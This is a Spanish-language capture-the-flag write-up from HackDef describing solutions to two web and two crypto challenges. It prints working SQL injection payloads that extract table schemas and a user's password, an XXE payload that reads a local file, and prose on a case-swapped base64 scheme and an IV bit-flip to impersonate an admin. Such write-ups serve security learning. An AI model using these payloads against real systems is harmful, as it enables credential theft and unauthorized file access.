HackDef

Desafío 1 de Web “Filtrado”

Este sistema muestra las cuentas de correo electrónico que han sido filtradas en el darkweb, pero no estamos seguros si es fidedigna la información, para estar seguros, ¿puedes ayudarnos a recuperar la contraseña filtrada de carlosmora@mail.com?

El reto esta aqui:
http://18.188.52.184:3120

para este desafío usamos SQL Injection como método de ataque , dado que al hacer pruebas en la página encontramos que el buscador de usuario no estaba sanitizado y utilizaba el texto se que ponía directamente como filtro de búsqueda en la base de datos, más específicamente como where , viendo esta vulnerabilidad nos pusimos a realizar diferentes inyección de sql para poder obtener la contraseña del usuario solicitado , a continuación mostraremos las consultas usadas para llegar a la flag.

La primera consulta que hicimos fue la de obtener los nombres de las tablas que existían en la base de datos para así encontrar la que tuviera la información de los emails.

‘) UNION SELECT * FROM sqlite_master WHERE type= 'table' and tbl_name NOT like 'sqlite_%';-- ”

ya teniendo el nombre de la tabla procedimos a obtener el nombre de las columnas en la tabla de interes

') UNION SELECT 1,sql,2,3,4 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name='accounts';--

una vez que obtuvimos las columnas procedimos hacer la consulta para obtener el passsword

') UNION SELECT 1,password,2,3,4 FROM accounts WHERE email='carlosmora@mail.com';--

Desafío 3 de Web “Exfil”

Encuentra la vulnerabilidad en el siguiente sitio web y lee la flag que esta en /app/app/flag.txt

http://3.19.72.219:3130

Nos dimos cuenta que el sitio nos permitía subir archivos XML, por lo que recurrimos a un ataque similar a éste;

```
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY BANDERA SYSTEM "file:///etc/app/app/flag.txt"> ]>
<userInfo>
 <firstName>Juanito</firstName>
 <lastName>&BANDERA ;</lastName>
</userInfo>
```

para que nos arrojara lo que contuviera lo que estuviera en ésa ruta. Jugamos un poco con el directorio exacto donde estaba la bandera, pero al final, ese es el ataque que usamos para obtenerla.

Desafío 1 de Crypto “base64”

Es momento de algo serio, encuentra la llave y obtén la flag!
Antes de este CTF creía que conocía base64 encoding and decoding, pero creo que no, nos puedes ayudar a entender el algoritmo y entonces, decodificar la bandera?

Nos dan el código fuente del servicio con las funciones de codificación y decodificación!

Y aquí puedes interactuar con el servicio:

http://3.19.72.219:3133

Para este desafío empezamos levantando una instancia de la aplicación en local haciendo cambios en la encriptación pero no encontrábamos una solución al principio pero después de comparar los resultados obtenidos en una codificación en base64 normal y el que nos arrojaba la aplicación vimos que la diferencia está en que el programa dado invierte las letras entre mayusculas y minusculas.

Una vez encontrado eso procedimos a invertir las letras en la flag que nos daba el servicio y a pasarlo a decodificar.

Desafío 3 de Crypto “fl1pp3r”

Los delfines son animales muy inteligentes, o eso se dice, asi que le pedimos a uno ayudándonos a implementar un sistema de tickets para facilitar la autenticación. Estamos empezando a dudar de su conocimiento en implementaciones criptográficas, pues varios usuarios se han quejado de alertas de inicio de sesión no reconocidas en sus cuentas.

Por alguna razón a todo nuevo usuario se le entrega, una llave "AAAAAAAAAAAAAAAA" a la que se le dice quizás incorrectamente "llave de inicialización", se cuenta con capacidad para 6 IDs de usuarios invitados (0-5), siendo el usuario con id 6 el administrador del sistema y con esto el que te dará la flag si te haces pasar por el ;-)

Nos preocupa que nuestro administrador del sistema pueda ser comprometido.

¿Puedes ayudarnos a descubrir el error en la implementación criptográfica? ¡Te damos el código!

Y obten la flag aqui:

IP: 3.19.72.219
Puerto: 3166

En este desafío lo primero que hicimos fue ver el código que nos proporcionaron para ver la forma en que este trabajaba , la primera idea que tuvimos fue crear un script en python que generar codificaciones random hasta encontrar una que fuera igual a la que nos proporcionó como token el servicio ya que si encontrábamos la key que generó el token podríamos codificar ahora la palabra “flipid=6” y esa mandar en servicio ya que si encontrábamos la key que generó el token podríamos codificar ahora la palabra “flipid=6” y al mandar ese token obtendremos la flag, pero vimos que hacer esto no funcionaria ya que la probabilidad de encontrar la misma key es muy difícil.

Lo que hicimos fue investigar más sobre el método de codificación que usa el servicio , al hacer esto vimos que usa una codificación RSA con un IV figo que era el que se nos proporcionaba en el problema y al entender que a la hora de hacer la descripción de generaba un XOR entre el IV y el token lo que hicimos fue proceder a modificar el IV que proporcionamos al servicio por el siguiente: **AAAAAAACAAAAAAAA** , hicimos la modificación el bit de importancia en este caso en el 8 ya que este es el que hace match con la parte del id que obtendría de esta manera al modificar este modificaremos la desencriptación y obteniendo que esta regrese el flipid=6 y así poder recibir la flag.